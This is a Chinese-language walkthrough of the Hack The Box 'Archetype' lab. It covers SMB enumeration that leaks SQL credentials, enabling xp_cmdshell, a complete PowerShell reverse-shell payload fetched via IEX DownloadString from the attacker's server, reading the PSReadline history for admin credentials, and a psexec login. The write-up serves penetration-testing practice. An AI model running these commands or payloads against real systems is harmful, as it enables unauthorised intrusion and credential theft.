Hackbox初探

简介

hackthebox是一个非常不错的在线实验平台,能帮助你提升渗透测试技能和黑盒测试技能,平台上有很多靶机,从易到难,各个级别的靶机都有。

关于hackbox注册账号,这里就不赘述了,详情参考百度

信息探测

Nmap扫描目标ip

nmap -sC -sV -T4 10.10.10.27

image-20200518202226161

观察发现,目前开启了1433、445,开启了SQLserver和smb共享服务

思路:目标开启了smb服务,尝试是否可匿名访问

利用smbclient工具进行尝试访问

smbclient -N -L \\\\10.10.10.27\\

image-20200518202957752

观察发现有个backup,很可疑,利用工具smbclient看看

smbclient  -N \\\\10.10.10.27\\backups

image-20200518203517978

有一个dtsConfig文件,它是与SSIS一起使用的配置文件。

相关SSIS介绍可参考下面链接

https://baike.baidu.com/item/SSIS/5351898?fr=aladdin

下载dtsConfig文件

image-20200518204446382

观察有个sql链接,还有个本地windows用户凭据ARCHETYPE\sql_svc

深入利用

使用Impacket工具包 中mssqlclient.py 结合上一步得到的凭据连接到SQL Server 。

mssqlclient.py ARCHETYPE/[email protected] -windows-auth

image-20200518224208800

查看当前用户是否是最高权限

select is_srvrolemember('sysadmin')

image-20200518224814948

Nice!sysadmin权限

开启xp_cmdshell

--打开xp_cmdshell
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
--关闭xp_cmdshell
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 0;RECONFIGURE;

尝试执行命令

image-20200518225619469

反弹shell

尝试利用powershell反弹shell,构造Payload如下,保存ps1

$client = New-Object System.Net.Sockets.TCPClient("10.10.14.138",1234);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "# ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

利用python建立http服务

python3 -m http.server 80

开启终端监听反弹端口

nc -lvvp 1234

利用xp_cmdshell远程加载Powershell,Payload如下

xp_cmdshell "powershell "IEX (New-Object Net.WebClient).DownloadString(\"http://10.10.14.138/1.ps1\");" 

image-20200518230436267

image-20200518230518649

翻垃圾找到user.txt

image-20200518232024516

提权

由于该账户既是服务账户也是本地普通账户,因此得检查历史命令

type C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt 

image-20200518232227210

观察得知,在做backup共享时使用本地管理员进行映射

利用Impacket工具包中的psexec.py提权

psexec.py [email protected]

image-20200518233119398

桌面翻到垃圾

image-20200518233353538

游戏结束